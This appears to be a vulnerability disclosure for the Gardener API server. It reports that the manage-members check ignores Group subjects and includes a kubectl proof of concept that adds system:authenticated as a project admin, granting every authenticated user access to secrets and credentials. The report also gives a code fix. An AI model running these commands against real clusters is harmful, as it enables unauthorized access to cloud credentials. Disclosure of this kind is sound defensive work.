Gardener: Authorization Bypass via Group Subject Injection

Overview

The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.

Technical Details

The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states: <img width="2090" height="290" alt="image" src="https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b" />

However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:

func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
    if apiequality.Semantic.DeepEqual(oldMembers, members) {
        return false
    }
    if userIsOwner(userInfo, owner) {
        return false
    }
    var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
    // ...
    return !oldHumanUsers.Equal(newHumanUsers)
}

The isHumanUser() function at admission.go only matches Kind == "User":

func isHumanUser(subject rbacv1.Subject) bool {
    return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}

Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check. A project admin without manage-members permission can freely add or remove Group members.

Steps to reproduce

<img width="4322" height="1395" alt="image" src="https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c" />

---

Proof of concept:

1. Verify current project membership and confirm the owner has manage-members permission:

# Project members before the test:
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner

# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes

2. Add a second admin user (test-admin-user) to the project WITHOUT the uam role, then confirm they lack manage-members:

# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: test-admin-user
#     role: admin

# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no

3. Verify test-admin-user cannot add a human User member (the check works for Users):

$ kubectl patch --as=test-admin-user project local --type=merge -p '{
  "spec": {
    "members": [
      {
        "kind": "User",
        "apiGroup": "rbac.authorization.k8s.io",
        "name": "[email protected]",
        "role": "viewer"
      }
    ]
  }
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"

4. Bypass the check by adding a Group subject instead:

# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
  {
    "op": "add",
    "path": "/spec/members/-",
    "value": {
      "kind": "Group",
      "apiGroup": "rbac.authorization.k8s.io",
      "name": "system:authenticated",
      "role": "admin",
      "roles": ["admin"]
    }
  }
]'

project.core.gardener.cloud/local patched

5. Verify the Group was added to project members:

$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: test-admin-user
#     role: admin
#   - apiGroup: rbac.authorization.k8s.io
#     kind: Group
#     name: system:authenticated
#     role: admin

6. Demonstrate the impact - any authenticated user now has project access:

# As a random user 
$ kubectl [email protected] get shoots -n garden-local
NAME    CLOUDPROFILE   PROVIDER   REGION   K8S VERSION   HIBERNATION   LAST OPERATION            STATUS    AGE
local   local          local      local    1.35.0        Awake         Create Succeeded (100%)   healthy   30m

Note: [email protected] does not exist as a real user. However, the Kubernetes --as global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the system:authenticated group. Since system:authenticated was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials.

---

Security Impact

• Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including system:authenticated (all authenticated users) or system:unauthenticated (all unauthenticated users).

Patching & Remediation

1. Fix isHumanUser() to include Groups: The function should match the documented behavior. Change:

   func isHumanUser(subject rbacv1.Subject) bool {
       return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
   }
   

   To:

   func isNonServiceAccountSubject(subject rbacv1.Subject) bool {
       if subject.Kind == rbacv1.GroupKind {
           return true
       }
       return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
   }